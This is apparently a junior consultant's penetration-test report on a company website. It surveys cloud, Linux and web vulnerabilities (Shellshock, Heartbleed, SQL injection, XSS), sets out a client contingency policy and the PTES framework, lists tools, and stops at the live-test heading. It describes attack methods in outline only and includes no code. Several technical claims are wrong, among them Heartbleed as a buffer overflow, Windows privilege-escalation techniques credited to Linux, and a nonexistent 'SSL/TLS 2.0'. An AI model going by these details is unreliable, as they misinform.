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A newly employed junior network security consultant working for ‘Tevel Security Ltd’ has been tasked with conducting a ‘Black-Box’ penetration test [1] against the companies cloud hosted website; https://www.tevelcyber.com, in order to gauge the expertise and knowledge of the junior network security consultant that primarily includes; ensuring the secure and ongoing functionality and availability of a customers website and/or network infrastructure whilst a network security consultant performs a security audit against a clients business network, along with analysing the employees professional skills of preparing a detailed security report for customers of ‘Tevel Security Ltd’  within future endeavours on behalf of the company. 
This task will allow management and senior security consultants to evaluate the employees’ strengths along with their weaknesses, so a training programme can be tailored for the employee to build upon their skillset whilst maintaining the professional integrity of the company when the employee is working in conjunction with a senior security consultant on assignments for clients/customers on behalf  of the company.
A ‘Black-Box’ network and/or software penetration test consists of a network/software security professional infiltrating and gaining access to a network and/or software application using unorthodox and unintended means by the network/software architect that designed the network and/or software application with no prior knowledge of the network/software architecture, device configuration or source code in which the security consultant is trying to access without, this test is also referred to as a ‘blind’ penetration test. [1]
Within the impending sections of this report, the junior security consultant will conduct background research pertaining to the ‘Black-Box’ penetration test of; https://www.tevelcyber.com and then select an esteemed industry security testing framework in which to conduct the test, along with creating a contingency plan to avoid causing a Denial of Service (DoS) [2] to the website in question whilst employing security exploitation tools and methods against the aforementioned target. 
A list of penetration testing hacking tools that will be utilised within the attacks will be listed and then a  live ‘Black-Box’ penetration test will then be performed using said tools/methods against the target in order to gain ‘backdoor’ and/or unorthodox access to the website where customer/company data can be accessed and/or changes can be made to the website without the administrators  knowledge and approval.
A detailed report of the vulnerabilities found within the website (if any) will then be created for the client along with security defence measures that can be employed to prevent future attacks being performed against the website.
Detailed costing of the penetration test will also be created for the client within a spreadsheet along with the agreed timeline in which the penetration testing will take place that will be included within this report.




[bookmark: _Toc40134031]2.0 Background Research
Background research pertaining to the penetration test was conducted to understand the architecture of the systems that host and deliver website services to end users along with the architecture of the target website; https://www.tevelcyber.com so that known and/or unknown vulnerabilities can be discovered and understood so that they can be later exploited during the ‘Black-Box’ penetration test. 
Since the target website is hosted and deployed within a cloud service providers datacentre server and is delivered using Hyper Text Mark-Up Language 5 (HTML5) [3], the following areas of research have been selected to further understand the underlying technologies that deliver the website services so that exploits can be utilised and/or tailored to penetrate the target. 
[bookmark: _Toc40134032]2.1 Cloud Based Services and Security 
Modern cloud based centralised ‘Serverless’ computing, focuses on hosting and deploying network and application services from a datacentre that is predominantly owned by Cloud Service Providers (CSP) [4], whom lease a portion of their network infrastructure to clients for a nominal monthly fee based on hardware usage. The hosted cloud services are delivered to end clients around the globe via the public Wide Area Network (WAN) [5] i.e. the Internet.
Website developers predominantly utilises a Platform as a Service (PaaS) [6] Cloud Service Model (CSM) to develop and  deploy their application and/or network services from a CSP datacentre, utilise either a Restful – Application Programmable Interface (Restful-API) or a Slack-API [7]  via a client website browser at the CSP application layer [8] to interface with the underlying datacentre network infrastructure such as; servers, routers, switches, Storage Area Network (SAN) [9] and hardware firewalls [10] that are configured and maintained by cloud engineers employed by a CSP. [11] 
A CSP Hyper Text Transport Protocol (HTTP) [12] website API utilises ‘Lambda’ functions to interface with the underlying network infrastructure hardware along with the backend database applications such as; ‘DynamoDB’, although this method is very efficient and effective, network security researchers have highlighted various security vulnerabilities with the use of lambda function calls that are generated by the API that are utilised at the CSP front end of a website to interface with a backend database illustrated in figure 1. [13] [14]
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[bookmark: _Toc40134066]Figure 1: AWS DynamoDB Lambda Function Call Code Injection [15], [16]
This vulnerability can be exploited by utilising a ‘code event injection’ [17] method to force malicious code through the API to generate insecure malicious lambda function calls. This technique allowed the researchers to write to the backend database; DynamoDB [15] and garner a reply from the slack API backend process that then permitted full access to a CSP clients website cloud environment and the secure files stored within the CSP underlying network infrastructures Virtual Machines (VM) [18] being utilised at the CSP to host a thousands of client websites. [16]
Researchers reported that the most efficient way to exploit this vulnerability is by injecting the malicious ‘NodeJS’ [19] lambda function event call code within an automated chat bot [20] to access the backend database or alternatively utilising website search engine bars to inject code, although this method does not have a high success rate with this method of forced code injection. [16], [21] [22]
Although there are many security vulnerabilities within cloud computing, the API lambda function event code injection is one of the most popular vulnerabilities that is exploited by malicious actors around the globe, according to Open Web Application Security Project (OWASP) [23] that are one of the  leading network/software security organisations in the world, whom are highly respected for their reliable research within the network security community. [22]
[bookmark: _Toc40134033]2.2 Operating System Architectures and Protocol Security
Understanding an Operating Systems (OS) [24] architecture is paramount for cybersecurity professionals whom seek to leverage known and/or unknown vulnerabilities within the design of an OS and the computer code that makes the OS function.
An Operating System (OS) design can be broken down into three main architectural components illustrated  in figure 2. [25] [26]–[28]
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[bookmark: _Toc40134067]Figure 2: Operating System Layers of Abstraction [26]
1. Application – The application layer within a computer system is top level of a system where high-level programming languages and software applications reside at this layer of OS abstraction including a Graphical User Interface (GUI) [29].

2. Shell – This lightweight Command Line Interface (CLI) [30] logical  layer of a computer system is utilsed to process data sent from the application layer and translate it into low level computer code to interface with the Kernel. The terminal shell is located at this layer of OS abstraction such as; Microsoft; MS-DOS, CMD and Linux; Born Again Shell (BASH).

3. Kernel – The kernel is the logical core of the OS that translated Input|Output (I|O) instructions from the shell and translates them into machine code to interface directly with the underlying physical hardware. The more efficient the Kernel is within an OS the higher efficiency the OS provides. An example of low-level utilities that operate within the Kernel that interface directly with the hardware are the; Binary Input Output System (BIOS), Device Drivers etc.
The most hardware efficient kernel available within todays OS market is the open source; Linux [31]  kernel [27] developed by Linux Torvalds in 1991 [32] to emulate the then very expensive but highly efficient business server OS; Unix. Today Linux is available within many customised shells called ‘distributions’ such as; Red Hat Linux [33], Ubuntu Linux [34], Kali Linux [35], Debian Linux [36] and many more, created by the Linux community and companies around the world under the open source General Public License (GPL) [37] agreement.
It is estimated by ‘Gartner’ [38] whom are an Information Communications Technology (ICT) business data analytical company, that 80% of all webservers in the world utilise a Linux server OS to host websites. Linux servers are prevalent because of the efficiency of the OS Kernel and shell architecture that utilises the underlying computer hardware very resourcefully, thus providing large economical savings to companies whom opt to utilise a Linux server distribution that requires significantly less server hardware to host and deploy website services, along with not having to pay licensing fees, as opposed to a Microsoft Windows server [39] solution that is very resource intensive, less efficient/responsive and expensive to buy but a lot less complex to configure due to its user friendly GUI architecture. 
Therefore, when a penetration tester or malicious actor aims to discover a new or exploit existing vulnerabilities within a web server, they generally design Linux web server exploits to maximise the profitability of the malicious tool. Although Linux is highly efficient, configuring and maintaining a Linux server correctly utilising the BASH [40] CLI, is a highly specialised and sought-after skill within systems engineering where there is a global shortage of competent Linux systems engineers. The lack of skill within this specialised area of computer engineering consequently leads to  misconfigurations of Linux OS and their applications due to the lack of knowledge and experience within Linux by many systems engineers, these crucial factors evidently lead to  vulnerabilities within the system for malicious actors to exploit which is inopportunely common place within the webserver industry. [41] [42], [43]
As previously discussed, the majority of Linux OS are open source so there is no licencing fees when utilising them, which provides further economical saving for companies whom employ them within their webservers, this is also true for the highly efficient and popular software tools that are most commonly used within a Linux webserver such as; Apache webserver [44][45], MySQL database [46], PHP [47] website scripting language/framework along with E-Mail servers and many more tools that are required to host and deploy website application services to customers via the Internet. 
The majority of these tools/applications are created by the open source Linux community that create software for free, this often leads to a lack of quality control security measures that are employed by most software companies to harden the security of their product, which subsequently leads to many vulnerabilities within open source application code that may take many months or even years to be patched due to the lack of funding for open source Linux projects and applications, leaving a lot of open source Linux webservers that utilise these tools  vulnerable to attack. [41], [48], [49]
These applications are also the most vulnerable to attack from malicious actors when not; configured correctly, sandbox tested [50] and updated/patched frequently by systems engineers, because of the commonality of their use within the webserver industry, a lot of focus has been placed into exploiting these application services by malicious actors to gain unauthorised access to sensitive information stored within a website backend database  for monetary gain. 
Therefore, the focus of this research will be within Linux webservers and Linux open source applications, as Linux has the majority market share within the webserver market as previously discussed. Furthermore, the target for the Blackbox penetration test www.tevelcyber.com is known to be hosted within a CSP that utilise a Linux OS as their base OS VM.
[bookmark: _Toc40134034]2.2.1 Linux Webserver Vulnerabilities
The Linux Apache webserver is the most widely utilsed and efficient webserver within the networking industry, although it is considered more secure than the Microsoft Windows webserver; Internet Information Server (IIS) [51], [52], many vulnerabilities have been found by network security researchers since its inception in 1995, that have been recorded within the global Common Vulnerabilities and Exposures (CVE) [53] security vulnerability database that contains a list of all known software/network security vulnerabilities reported by security researchers around the globe. The current stable release of Apache as of March 26th 2020 is version 2.4.43. [43], [54]
The most prevalent vulnerabilities within the Apache webserver reside within the webserver scripting languages Hypertext Pre-Processor ((PHP) – recursive acronym), Common Gateway Interface (CGI) [55] and Simple Sensor Interface (SSI) [56] features. Security researchers advise these features should be disabled within Apache webservers when there is highly sensitive data being stored within the system, because security of these features cannot be guaranteed as they are highly vulnerable to attack due to their architecture.
One of the most prevalent Apache webserver vulnerabilities concerning the use of CGI scripts was discovered by researchers on 12/09/14 called ‘Shellshock’ [57]  or ‘Bashdoor’ (CVE-2014-6271) [58], this vulnerability allowed attackers to inject and execute remote shell BASH code within the [/cgi-sys/] and [/cgi-bin/] directories of the webserver, that allowed attackers to inject and run a malicious ‘reverse-TCP’ shell script that opened a reverse connection back to the attacker device that allows access to the Linux BASH shell the webserver is hosted on. 
Once the attacker is connected to the Linux shell, permissions can then be escalated by utilising  a post exploitation Metasploit Framework [59] script written in the ‘Ruby’ [60] scripting language called; ‘GETSYSTEM’ [61], [62], which elevates privileges using an existing user system service pipe to gain root access, the script uses three techniques to escalate privileges within a Linux system which are; Named Pipe Impersonation (In Memory/Admin), Service - Named Pipe Impersonation (Dropper/Admin), Service - Token Duplication (In Memory/Admin) this is possible due to sensitive information not being flushed from the cache memory [63] or Random Access Memory (RAM) [64] that contains administrator account login information, this allows user tokens and/or password credentials (hashed) to be stolen and then pipes a string command using a combination of the three previously discusses techniques to bypass the root directory security  to gain full administrative access to the webserver including the backend database containing sensitive user data.
Although the Shellshock vulnerability was patched on the 24/09/14 after being discovered, researchers did not know the full extent in which the vulnerability had been exploited in the years before the official discovery. After the initial patch, subsequent ‘Shellshock’ vulnerabilities were found: CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186 and CVE-2014-7187 within Apache systems that have since been patched, although this vulnerability is an ongoing concern for security researchers. However, it is assumed that inept Linux systems administrators whom are not aware of this vulnerability, have not patched or disabled the [/cgi-bin/] and [/cgi-sys/] directories within their Apache webservers from being utilised, thus leaving many systems around the globe vulnerable to ‘Shellshock’ exploits.
Well known applications such as MySQL backend database and WordPress [65] applications are also vulnerable to attack when not configured correctly or patched. These industry standard webserver applications will be researched and discussed in further detail within the; HTML5 and Database Security section of this report.
[bookmark: _Toc40134035]2.2.2 Webserver Protocols and Port Security
Known vulnerable protocols and their default ports that are exposed by webservers to deliver application services to end clients. These ports are researched by attackers within the information gathering (reconnaissance) stage of an attack, to analyse what applications are being utilised by the webserver that may be vulnerable along with unintended known vulnerable ports that can be easily exploited. 
The most common vulnerable ports and services utilised by webservers can be found in Table 1.
	Protocol
	Port
	Description

	HTTP
	80
	Unsecure website browser communication protocol

	HTTPS (SSL/TLS)
	443
	Cryptographic website browser communication protocol

	FTP
	21
	User authentication with unencrypted server/client file transfer

	SMTP
	25
	E-Mail message transfer agent

	POP3
	110
	E-Mail message access agent

	IMAP
	143
	E-Mail message access agent

	DNS
	53
	Hierarchical naming system for computer systems

	Telnet
	23
	Plain text remote shell device configuration utility

	SSH
	22
	Cryptographic Remote Shell device configuration utility

	MySQL
	3306
	Relationship backend website database access.


[bookmark: _Toc40134141]Table 1: Known Vulnerable Webserver Ports and Services
During the information gathering stage of the penetration test, these ports will be the focus of the initial investigation for possible exploitation along with any other unorthodox ports that may be exposed that will require further research for vulnerabilities and possible exploits.
[bookmark: _Toc40134036]2.3 Hyper Text Mark-Up Language 5 (HTML5) and Database Security
Hyper Text Mark-up Language (HTML) is a high-level website development computer programming language which is the foundational building block of all websites, that is interpreted by website browsers. HTML was created by Sir Tim Berners-Lee in 1990 to be utilised within the World Wide Web that he created a year before in 1989 that is now known as the Internet. HTML 5.1 is the latest version released in 2016 that was created by the World Wide Web Consortium (W3C)  led by Sir Tim Burners-Lee in 1994 who founded the organisation.[3], [66]–[68]
HTML is utilised as the underlying framework for high-level computer programming languages to be  imbedded within the HTML framework, these languages are utilsed to provide a very high level of functionality to create dynamic websites that deliver highly functional and powerful application services, the core high level languages utilised within HTML are; JavaScript [69], PHP [47], Python [70], Structures Query Language (SQL) [71] and .NET (C/C#/C++) [72]. 
[bookmark: _Toc40134037]2.3.1 Hyper Text Transport Protocol Secure (HTTP) Vulnerabilities
Hyper Text Transport Protocol (HTTP) [73] is utilised by website browsers to present data at the presentation layer (layer 6) of the Open Systems Interconnection (OSI) [74] model and then transfer the data across the Internet using Transport Control Protocol (TCP) [54] via port 80. Although HTTP is highly efficient it is has been proven to be an insecure standalone protocol by network security researchers whom found that unencrypted sensitive  data such as financial details, login credentials (Username/Password) etc being sent via HTTP could be stolen or ‘Hijacked’ in transit by malicious actors along with code injection to the website by a third party. 
Therefore, HTTP-Secure (HTTPS) [75]was created to overcome the security issues of standalone HTTP. To solve the issues of HTTP an additional layer was implemented within the HTTP protocol that utilises Secure Socket Layer and Transport Layer Security (SSL/TLS) [76]–[78] that is part of the OpenSSL [79] cryptographic library via TCP port 443 to create HTTPS. SSL and TLS utilise encrypted certificates that predominantly employ military grade encryption; Advanced Encryption Standard – 256bit (AES-256) [80] to encrypt the data in transit and Secure Hashing Algorithm – 384bit (SHA-384) [81] to hash the public certificate keys to authenticate the connection, although various cryptographic encryption and hashing algorithms can be utilised the AES-256 and SHA-384 cryptographic method is widely considered as the most secure. The certificates are issued and authenticated by a centralised certification authority before a connection can be made to a website.
However, although HTTPS is far more secure than HTTP it still has vulnerabilities that modern hackers and security researchers have been able to exploit. The most prolific HTTPS vulnerability is the ‘Heartbleed’ [82] SSL/TLS vulnerability (CVE-2014-0160) advanced buffer overflow attack [42]that exploited a bug within the OpenSSL Library that utilises heartbeat request messages that includes the length of the message that is to be stored in the memory buffer allocated for heartbeat requests  between the client and  the server, in order to confirm the connection between the two devices was still open, the bug arose due to a programming syntax error that did not check the length of the received heartbeat message that was allocated for buffer memory, therefore an attacker could spoof a heartbeat message to the server with half the allocated length in memory, this allowed attackers to launch a memory buffer overflow attack to the protected server by flooding the internal memory buffer with half-length heartbeat assembly code instructions that then leaked  the secure encrypted data that was previously stored within the buffer as a return heartbeat message, because the allocated memory within the buffer for heartbeats had not been filled. [82]–[85]
A metaphor for a basic buffer overflow attack can be described as; if a vessel was filled from the bottom until it was full and the vessel was still being filled, then the original contents of the vessel would spill out as there would be no volume left to contain the original contents, this is how in a virtual environment a memory leak buffer overflow attack is performed. 
The vulnerability ‘Heartbleed’ was discovered by researchers on 1/04/2014 within SSL/TLS version 1.2 and below, the vulnerability was subsequently patched by confirming the required length of the heartbeat request before a response was sent. The patch was implemented on the 7/04/2014 when SSL/TLS version 2.0 was released, although researchers do not know how long the ‘Heartbleed’ vulnerability had been discovered and exploited by malicious attackers around the globe in the previous years. [82]
Since the ‘Heartbleed’ vulnerability was patched there have been many more vulnerabilities concerning the SSLv3 protocol [86] that is utilised in conjunction with the successor to SSL; which is the TLS [87] security protocol for backward compatibility, although the SSL security protocol architecture is fundamentally flawed. The security risks concerning the use of SSL and TLS in conjunction was illustrated with the; Padding Oracle On Downgraded Legacy Encryption (POODLE) [88] SSLv3 vulnerability CVE-2014-3566 that forced a web browser to downgrade HTTPS encryption to SSLv3 without utilising TLS in conjunction, this was possible because of the programming string within TLS version 1.0 that allows interoperability of the encryption standards for backward compatibility as previously discussed, this  permitted a buffer overflow attack to be leveraged against the SSLv3 architecture. 
Although the POODLE vulnerability was patched within TLS 1.1, standalone SSLv3 cannot be patched but rather secured with the TLS v1.1 protocol, however legacy webservers and badly configured modern webservers that do not utilise TLS v1.1 are still vulnerable to this exploit. [76], [88] 
As the HTTPS protocol continues to be attacked and exploited by malicious actors, security researchers around the globe are calling for the SSL protocol to be depreciated to allow HTTPS to utilised TLS alone in future OpenSSL revisions as concerns for future SSL/TLS attacks grow.
[bookmark: _Toc40134038]2.3.2 Website Frontend and Backend Database Vulnerabilities
Whereas the HTTPS SSL/TLS protocol is still vulnerable to attack, the majority of modern website attacks are leveraged against incompetently coded HTML websites that implement JavaScript, PHP, Cascading Style Sheets (CSS) [89] or SQL scripting languages to interface with the frontend and backend SQL relationship databases of a website [90]. The most common exploitation of inept programming within web development are website form malicious code injections, whereby the parameters of the query allow malicious code to be executed on the server from a remote client machine. 
There are two forms of this attack which are:[91], [92][93] 
SQL Injection (SQLi); - This attack injects SQL, JavaScript or PHP code directly into the SQL database via a form query, HTTP header or website cookie injection where un-sanitised data validation rule has not been implemented to verify if the inputted data fits the ; GET and POST parameters of the database, which allows attackers to delete data and/or steal data stored within the backend database such as; customer and/or administrator login credentials, customer/business financial information, intellectual property etc. 
According to OWASP the most common SQLi attacks consist of 5 techniques which all focus on manipulating the databases validation rule website/database developer configuration errors within the website source code. 
These 5 common techniques fall into 3 SQLi categories which are: 
In-Band SQLi: This category of SQLi exploitation is the most common due to the efficiency and simplicity of the attack which can be defined as a reconnaissance/ information gathering attack about the backend database structure and potential backdoors or vulnerabilities that can be exploited to steal data. 
In-Band SQLi utilises the same channel of communication to leverage the attack and gather the resulting data that consists of two methods which are;
1. Union Operator; - This technique is defined as an ‘In-band’ SQLi which manipulates the UNION SQL operator, that binds several query statements generated by the backend database to receive a solitary HTTP response, that contains data pertaining to the source code of the database and/or API. 

2. Error Based, - This database reconnaissance attack is utilised for database enumeration, by inputting invalid search strings within a form, so that error messages are returned that reveal information about a databases parent structure, the returned information can then be utilised for further exploitation. It is recommended to disable database string query error messages after development of the database before the website is deployed live to prevent this technique being utilised for information gathering purposes by malicious actors.
Inferential SQLi: Unlike In-band SQLi techniques, the inferential SQLi category consists of a blind SQL injection whereby the attacker reconstructs the databases parent structure by sending payloads to the backend database that do not return errors but the attacker observes the behaviour of the databases response to blindly enumerate the database. This technique is very complex and slow that is only utilised when in-band error messages have been disabled by the developer.
1. Boolean; - This inferential SQLi attack relies on conveying an SQL query to the database which compels the database to return either a true or false (Boolean) statement, depending on the results the content within the HTTP browser will either change or remain the same. The attacker is then able to enumerate the database using multiple payloads to reconstruct the parent structure of the database in order to further exploit the database to access sensitive information.

2. Time Delay; - Similar to the Boolean technique but less reliable and even more time consuming, the time delay technique relies on sending an SQL query to the database and waiting on the response time. The longer the response takes the attacker can determine if the query returned a true or false statement, which infers the database structure contains information within the database that the attacker would like to exploit and steal. This attack is utilised if the Boolean method has been secured by the developer using strict query input filters.
Out of Band, - DNS or HTTP requests: - The least common of all the SQLi methods, the out of band technique can only be implemented if a backend database can make independent HTTP or Domain Name System (DNS) request. If a database is able to execute these requests an attacker sends a payload in the form of an SQL query which is then redirected to an attackers webserver where they can retrieve the information requested from the database.
To mitigate this attack, a backend SQL database should be disabled from making DNS and HTTP independent requests which is predominantly disabled by default in most SQL databases because of the high security threat.
To mitigate against an SQLi attack, a database developer must sanitise all data validation rules inside the SQL and PHP source code on a website page that users can utilise to interact with the backend database. All source code regarding to the backend database should be tested within a sandbox environment to identify any mistakes within the programming of the database before the website goes live to mitigate SQL database vulnerabilities.
Cross Site Scripting (XSS); - XSS [94] vulnerabilities unlike an SQLi exploit, focuses on attacking the front end of a website rather than the backend database with the objective of; 
1:- stealing user session cookies to login into a secure area of a website which is known as cookie hijacking when exploiting the stolen session cookies from a XSS attack. [95]
2:- creating a redirection attack by embedding a hidden URL within a form or HTTP header  that end users are inadvertently redirected to when a link is clicked or where an attacker may have cloned the website to be able to steal login credentials from users of the website. [96]
3:- XSS can also be utilised to deface a website by altering the HTML body through code injection. Vulnerable websites to XSS include JavaScript, PHP and/or CSS coding utilised to create a dynamic website with a backend database.[94]
There are three methods to successfully initiating an XSS attack which are: [94], [96]–[98]
1. Reflected: This method initiates a malicious script to the victim via a HTTP request embedded within a website hyperlink, where the victim is then redirected to a malicious website where an attacker can steal user credentials or gain access to their personal device by executing a persistent trojan horse within their device.

2. Stored: This advanced XSS method which is also known as a persistent XSS attack which is the greatest security risk to a multitude of victims, because the attack originates from stored malicious code within the frontend database injected by the malicious attacker into a comment section and/or website forum as a hidden HTML JavaScript tag within a website that is executed within the victims client browser every time that page is visited. This attack yields the most results for attackers due to the nature of the attack and the large volume of potential victim pool.

3. DOM-Based: Whereas reflected and stored XSS attacks are originate within the webserver due to incompetent website design and programming which is referred to as a server-side attack. A DOM-Based XSS attack or type-0 XSS as it is also referred to is more akin to a social engineering attack where a malicious hyperlink to a website the victim is familiar with is E-Mailed to the end user and once clicked malicious code is executed within the victims browser, that can be utilised to steal session cookies and or  install a trojan horse within the victims device to gain full remote access to their device.
To prevent XSS attacks, network security researchers recommend that website developers encode all outgoing HTTP responses to prevent the data as being construed as active and also filter input data very strictly to what is an expected or valid input within a dynamic user input form such as; forums and comment sections of a website. HTTP iframes should also be either disabled or very carefully crafted to prevent malware being injected from a third-party website using a XSS technique. [97], [98]
[bookmark: _Toc40134039]2.4 Summary of Section
Utilising the research from this section of the report, the information gained, will aid the researcher  during the ‘Black Box’ blind penetration to easily identify common and unorthodox website vulnerabilities that can be leveraged against a website along with the defensive security techniques that can be implemented to mitigate any vulnerabilities found within the target website.
[bookmark: _Toc40134040]3.0 Penetration Testing Contingency Policy
A penetration testing contingency policy, highlights the rules put in place by the network security engineer of the target company and/or Chief Executive Officer (CEO), to prevent the live website and/or network that is being tested on along with the staff/clients of the company, from being denied network/application services that the company network/website provides for day to day business. Client and staff data protection is also a high priority for the company and penetration tester. Therefore, an agreed set of rules and guidelines have been put in place to prevent the target website from becoming unavailable to staff/clients during the live penetration test of www.tevelcyber.com during the pre-engagement interaction stage of the penetration test.
Dr Harish Ramani whom is the CEO & Chief Technology Officer (CTO) of ‘Tevel Cyber Ltd’ has instructed the network security researcher to adhere to the following guidelines whilst performing offensive security testing of the companies live website;
· Do not perform any Distributed Denial of Service (DDOS) attacks against the company website which would make the website unavailable to staff and clients of the company.

· Do not leverage any social engineering attacks against staff or clients of the company using phishing E-Mails etc that contain malware or a masked hyperlink to an unsafe websites to gain access to the underlying network/website and/or reveal sensitive information, such as; login credentials of staff/clients etc.

· Do not access, modify or delete any data stored within the websites databases that includes user accounts of the website to conform with General Data Protection Regulations (GDPR).

· Do not deface the website using banner hijacking or any other malicious website exploits.


· Do not use existing vulnerabilities within the website to pivot through the network to reveal further damaging vulnerabilities or sensitive information stored within website.

· Do not inject any malicious third party weblinks onto the website using common HTTP iframe vulnerabilities or any other such vulnerabilities i.e. staff/client cookie hijacking utilsing a XSS or SQL injection attack etc.

· Do not utilise any third-party website or applications that may degrade website services.
Utilising the specific information provided by the CEO/CTO of the company, a professional penetration testing framework will be constructed to adhere to the penetration testing contingency policy, along with the approach that will be taken to ‘Black Box’ penetration test the live website.
As an additional contingency, the CEO/CTO of the company will be asked to make a backup of the website in the eventuality that the website is accidently corrupted or taken offline during the test.
[bookmark: _Toc40134041]4.0 Penetration Testing Framework
A penetration testing framework outlines a structured logical approach to a security penetration testing that the offensive network security professional follows to gather comprehensive information (reconnaissance) about the target and then exploit the target using any vulnerabilities found. A penetration testing framework allows the security professional to research any known exploitation tools to utilise in order to exploit any vulnerability found within the target to be utilised during the exploitation and post exploitation stage of the penetration test what also allows the researcher to build a detailed report to deliver to the client after the penetration test has been concluded, outlining not only the approach and tools that were utilsed during the test but crucially any configuration, software and/or hardware changes that can be implemented to mitigate any vulnerabilities within a network and/or software/website application to secure their network/application from malicious actors whom wish to steal sensitive information stored within the network for monitory and/or political gain.
[bookmark: _Toc40134042]4.1 Penetration Testing Execution Standard (PTES) Framework
The PTES framework [99] is a professional standard for conducting ‘Black Box’ penetration tests that consists of the seven stages to conduct a thorough and professional penetration test that outlines the stages that should be followed for a systematic approach to leverage a ‘Black Box’ penetration test. 
These stages are; [100]
Pre-engagement Interactions; This stage outlines the interactions with the customer/client before the penetration test begins, to agree on the timeline in which the test will take place and the security concerns they may have about their website/network/software application etc along with any preconditions the client may have about penetration testing that is outlines within a contingency policy that was highlighted within the previous section of this report. 
The penetration tools that will be utilised during the attack also needs to be highlighted at this point to the customer/client so that the company’s CTO or network security engineer can evaluate and approve or reject the use of them within their network/software application.
Intelligence Gathering; This stage of the penetration attack utilises automated and/or manual tools and techniques to identify information about the company such as; company, employees, E-Mail domains and addresses, hidden unsecure website pages, Internet Protocol (IP) addressing and vulnerabilities identified within the target companies network/software and/or website application.
Due to the contingency policy in place gathered from the pre-engagement interaction with the client Dr Harish Ramani (CEO/CTO) only a website vulnerability assessment will take place on the target website as instructed by the client.
Threat Modelling; This stage focuses on identifying key business assets that need to be protected within the company that may be exposed that should be the primary objective od the penetration test during the given timeframe such as; backend databases containing sensitive information, exposed company information i.e. E-Mail addresses, staff names etc whom may be vulnerable to be targeted by malicious actors. If time permits, secondary targets should be identified after the primary targets have been analysed. This stage allows a client to identify their most valuable vulnerable assets within the company with the allotted penetration testing budget.
The penetration test for ‘Tevel Cyber Ltd’ will focus on the website as instructed by the client with the primary focus on the backend database assets of the company along with protecting website frontend vulnerabilities that may be exposed such as; unsecure hidden pages, HTML coding errors i.e. iframes being enables and exposed etc.
Vulnerability Analysis; Utilising the information garnered from the information gathering stage, vulnerability analysis focuses on the information such as; exposed ports and vulnerabilities identified within a website/software application with the primary focus being within the primary and secondary assets identified within the threat modelling stage of the test. These potential security vulnerabilities can then be researched by the network security offensive engineer to identify any known exploits that can be leveraged against the possible vulnerabilities during the exploitation stage of the security test.
Exploitation; This stage focuses on exploiting vulnerabilities identified and researched during the vulnerability assessment stage of the penetration test to ascertain whether they can be exploited by bypassing security measures or inept configuration/coding errors put in place by the clients network and security engineers to access the system, and if so what level of information and/or access can be garnered from the vulnerabilities.
Post Exploitation; This stage of the penetration test focuses on utilising the exploits leveraged within the exploitation stage of the penetration test to pivot through the network to further access sensitive information along with attempting to create a persistent backdoor for future exploitation after the initial exploits have been patched. 
The contingency policy agreed with ‘Tevel Cyber Ltd ’ CEO/CTO during the pre-engagement interaction stage of the penetration test, explicitly denies/outlines any pivoting of the network or installation of malware and/or creation of backdoors within their website. Therefore, this stage of the penetration test will not be conducted.
Reporting; The final stage of the penetration test focuses on reporting any vulnerabilities identified within a clients/network and/or website/software application along with if they were able to be exploited along with the risk assessment security value i.e. high, medium or low security severity if they were to be exploited within the future by malicious actors. 
The report should also contain information on how to security harden the vulnerabilities from being exploited within the future such as; configuration and/or coding changes that need to be made, software applications patches that need to be  installed along with any hardware changes that could further secure the target within the future.
Due to the detailed professional and systematic approach that the PTES framework provides, that is commonly utilised in industry professional ‘Black Box’ penetration testing. This framework has been chosen to be utilsed within the ‘Tevel Cyber Ltd’ websites security penetration testing assessment.
[bookmark: _Toc40134043]5.0 Penetration Testing Tools
The attacking machine OS that was utilised for the penetration testing was a; Customised Debian Linux OS consisting of professional network/software penetration tools that can be found within Kali Linux and GitHub [101] whom provide customised professional open-source Linux penetration testing exploits intended for known vulnerabilities for researchers and security professionals to utilise created by the Linux community of security researcher.
Information Gathering (Reconnaissance) Tools; The tools that will be utilised during this stage of the penetration test are as follows;
1. Nmap: - This powerful popular Linux based industry tool is CLI based that focuses on fingerprinting a network and/or target to reveille, IP addresses being utilised on the network along with their exposed ports, OS and services that are being utilsed by the system that could be vulnerable to attack. [102], [103]

2. Nikto: -This powerful automated CLI Linux based industry standard tool is utilised for website vulnerability scanning and assessment of a given target to provide information to security penetration testers about potential unsecure hidden directories, coding and configuration errors within a website that could be potentially exploited. This tool contains a multitude of plugins that are utilised to perform the automated website vulnerability assessment. A very popular plugin within Nikto is the WordPress fingerprint scanner plugin due to the vast number of modern websites that are created using the WordPress application.[104], [105]


3. Zap: - This tool is a Linux GUI based tool created by OWASP that also focuses on website vulnerability scanning of a given target similar to Nikto that will also be utilsed as a secondary vulnerability assessment tool in addition to Nikto to highlight any website vulnerabilities that Nikto may not find with the default vulnerability plugins it utilises.[106]
Note; No information will be gathered about the staff/clients with the use of phishing E-Mails or malware with accordance to the contingency policy outlined previously in this report.
Exploitation Tools; The tools that will be utilised during this stage of the penetration test are as follows:
1. Metasploit Framework (MSF): - This Linux CLI professional industry standard open-source exploitation framework created and maintained by ‘Rapid7 Security’ is considered the most powerful and efficient framework that consists of a collection of over 2000 exploitation modules (tools) written in ‘Ruby’ scripting language that cater for a vast majority of known network/systems and application vulnerabilities that can be utilised within any penetration testing environment such as: LAN systems, Mobile Device, Website, Application and many more penetration testing settings. MSF is regularly updated to include the latest exploits to newly found vulnerabilities by research professionals within ‘Rapid7 Security’ and independent researchers around the globe. Rapid7 offer a premium version of MSF that contains more powerful exploits to vulnerabilities that have not been released to the general public, this version of MSF that is often utilised by large cybersecurity companies around the globe because of the large economic cost of £20,000 per annum per user.[48], [59]

2. Browser Exploitation Framework (BeEF): - This GUI specialised framework is utilised for website penetration testing and is considered to be the industry standard tool to utilise when exploiting XSS and SQLi vulnerabilities within a website. It consists of many plugins and modules that can be utilsed to leverage against a target, by ‘hooking’ a target within a client website browser using a ‘BeEF Hook’ that runs from a self-generated local webserver on the attacker machine to leverage exploits against a website target. Although it is most commonly utilised to exploit XSS and SQLi vulnerabilities as previously discussed, BeEF also contains a multitude of website vulnerability exploits that can also be utilsed to leverage against a target. [107]

3. Client Uniform Resource Locator (CURL)- This is a very lightweight and historical Linux tool that is very efficient and useful, that can be utilsed to access hidden directories or pages within a website browser and download/steal source code, documents etc and/or upload documents, malware etc to a websites that has not secured their webserver correctly allowing unauthorised access and  file transfer to certain webpages within a website. [108], [109]
Post Exploitation Tools:- No post exploitation tools or techniques will be utilsed within this test in accordance with the contingency policy previously set out by the CEO/CTO of the company that explicitly outlines that no persistent malware such as trojan horses or network pivoting is to be performed on the target website.
[bookmark: _Toc40134044]6.0 Live Penetration Test
